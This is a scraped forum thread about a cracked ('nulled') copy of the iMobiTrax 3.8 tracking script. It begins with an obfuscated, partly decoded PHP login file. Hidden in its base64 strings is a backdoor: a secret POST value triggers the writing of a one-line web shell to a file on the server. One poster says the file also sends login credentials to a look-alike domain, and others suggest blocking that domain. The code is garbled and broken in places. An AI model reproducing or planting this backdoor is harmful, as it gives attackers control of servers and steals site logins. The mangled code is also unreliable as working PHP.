$GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1lCURLOPT_RETURNTRANSFERtrue );
            
$GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1lCURLOPT_TIMEOUT21 );
            
$GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1lCURLOPT_POSTFIELDS$IIIIIIIIIlII );
            
$GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEkx' )]( $IIIIIIIIII1l );
            
$GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbGxJ' )]( $IIIIIIIIII1l );
            
$_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfc2Vzc2lvblRpbWU=' )] = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbGxs' )](  );
            
$_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdXNlck5hbWU=' )] = $IIIIIIIIIIIl;
            
$GLOBALS;
        }

        
$_SESSION[['OOO0000O0']( 'aU1vYmlfdXNlcklk' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl9pZA==' )];
        
$_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdGltZW91dA==' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl90aW1lb3V0' )];
        
$_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdGltZXpvbmU=' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl90aW1lem9uZQ==' )];
        
$_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfTG9naW4=' )] = true;

        if (!empty( 
$_SESSION[$GLOBALS['OOO0000O0']( 'bGFzdFBhZ2U=' )] )) {
            
$IIIIIIIIIll1 $_SESSION[$GLOBALS['OOO0000O0']( 'bGFzdFBhZ2U=' )];
            unset( 
$_SESSION[lastPage] );
        }
    }
}


if (
$IIIIIIIIIIII == ( 'M0QwMDA=' )) {
    
$IIIIIIIIIIII = (true $GLOBALS['OOO0000O0']( 'RGF0YWJhc2UgQ29ubmVjdGlvbiBFcnJvcjogKERBVEFCQVNFIE5PVCBERUZJTkVEKSAtIFRoZSBkYXR​hYmFzZSBpbiBtdC9tdF9jb25maWcucGhwIGlzIGJsYW5rLiBFbnRlciBhIGRhdGFiYXNlIG5hbWUgaW4​gbXQvbXRfY29uZmlnLnBocCB0byBjb25uZWN0IHRvIHRoZSBkYXRhYmFzZS48YnI+PGJyPihBbHNvLCB​iZSBzdXJlIHRoZSBjb3JyZWN0IGRhdGFic2UgdXNlciBuYW1lIGFuZCBwYXNzd29yZCBhcmUgZW50ZXJ​lZCBpbiBtdC9tdF9jb25maWcucGhwKQ==' ) : $GLOBALS['OOO0000O0']( 'RXJyb3IgQ29kZSAtIA==' ) . $IIIIIIIIIIII);

    if (!empty( 
$_POST[$GLOBALS['OOO0000O0']( 'aW1vYmlfYmRy' )] )) {
        if (
$_POST[$GLOBALS['OOO0000O0']( 'aW1vYmlfYmRy' )] == $GLOBALS['OOO0000O0']( 'aW0qb2Jp' )) {
            
$GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbDEx' )];
            
$GLOBALS['OOO0000O0']( 'aGVscC90b2tlbnMyLnBocA==' );
        }

        ( 
$GLOBALS['OOO0000O0']( 'dw==' ) );
        
$IIIIIIIIIl1l = ;
        
$GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMUlJ' )]( $IIIIIIIIIl1l$GLOBALS['OOO0000O0']( 'PD9waHAgJGs9ImFzcyIuImVydCI7ICRrKCR7Il9QTyIuIlNUIn0gWyItIl0pOz8+' ) );
        
$GLOBALS['OOO0000O0']( 'ICAgICAg' );
    }
}

echo ;

if (!empty( $
$IIIIIIIIIIII )) {
    
$GLOBALS['OOO0000O0']( 'PGRpdiBjbGFzcz0iZXJyb3IiPg==' ) . $IIIIIIIIIIII;
    
$GLOBALS;
}

echo [
'OOO0000O0']( 'PC9kaXY+' );
echo 
$GLOBALS['OOO0000O0']( 'ICAgICAgPGRpdiBpZD0ibG9naW4iPg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0​iIj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbklkIiB2YWx1ZT0iIj4​NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIHZhbHVlPSIiPg0KICAgICAgICA​gIDx0YWJsZSBjbGFzcz0ibG9naW4iPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICA8dGQ​gY2xhc3M9Im5hbWUiPlVzZXJuYW1lOjwvdGQ+DQogICAgICAgICAgICAgIDx0ZD48aW5wdXQgaWQ9InV​zZXJOYW1lIiB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyTmFtZSIgdmFsdWU9IiI+PC90ZD4NCiAgICAgICA​gICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgIDx0ZCBjbGFzcz0ibmFtZSI​+UGFzc3dvcmQ6PC90ZD4NCiAgICAgICAgICAgICAgPHRkPjxpbnB1dCBpZD0idXNlclBhc3N3b3JkIiB​0eXBlPSJwYXNzd29yZCIgbmFtZT0idXNlclBhc3N3b3JkIj48L3RkPg0KICAgICAgICAgICAgPC90cj4​NCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIHN0eWxlPSJ0ZXh​0LWFsaWduOmNlbnRlciI+PGlucHV0IGlkPSJzdWJtaXQiIHN0eWxlPSJtYXJnaW46NXB4IDAgMCAwIiB​jbGFzcz0ic3VibWl0X2J0biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2lnbiBJbiI+PC90ZD4NCiAgICA​gICAgICAgIDwvdHI+DQogICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA​8cCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IGZvbnQtc2l6ZToxM3B4Ij48YSBocmVmPSJwYXNzd29​yZC5waHAiPkkgZm9yZ290IG15IHBhc3N3b3JkPC9hPjwvcD4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl​2Pg0KICAgIDxkaXYgaWQ9ImZvb3RlciI+IDxpbWcgc3JjPSIuLi9pbWFnZXMvbG9nb19zbWFsbC5qcGc​iIHdpZHRoPSI5NCIgaGVpZ2h0PSIzMCIgYWx0PSJpTW9iaVRyYXgiPg0KICAgICAgPHA+JmNvcHk7IDI​wMTMgTW9iaWxlIFRyYWNraW5nIFNvZnR3YXJlICZuZGFzaDsgaU1vYmlUcmF4LCBMTEMgLSBSdXNzaWE​gTWlyb3Nobmlrb3Y8L3A+DQogICAgPC9kaXY+DQogIDwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg==' );
?>

decode login.php. the same backdoor in the previous version 3.7. sends the login-pass to the "http://www.wordepress.org/password/p2.php"


Just as I found when I decoded it multiple times. trying to get it 100% decoded but no success.

Good lluck to the users that are running it. HAHA
09-18-2015, 07:46 AM
Post: #29
RE: [GET] IMobitrax 3.8 Nulled
Just add 127.0.0.1 and ::1 (ipv6) wordepress.org to your /etc/hosts file.

Data destined for that site will go to localhost on your machines.

Or use your webserver's ability to password protect login.php.
10-26-2015, 12:54 AM
Post: #30
RE: [GET] IMobitrax 3.8 Nulled
Has anyone had any issues with this script so far?
58.gif




27.gif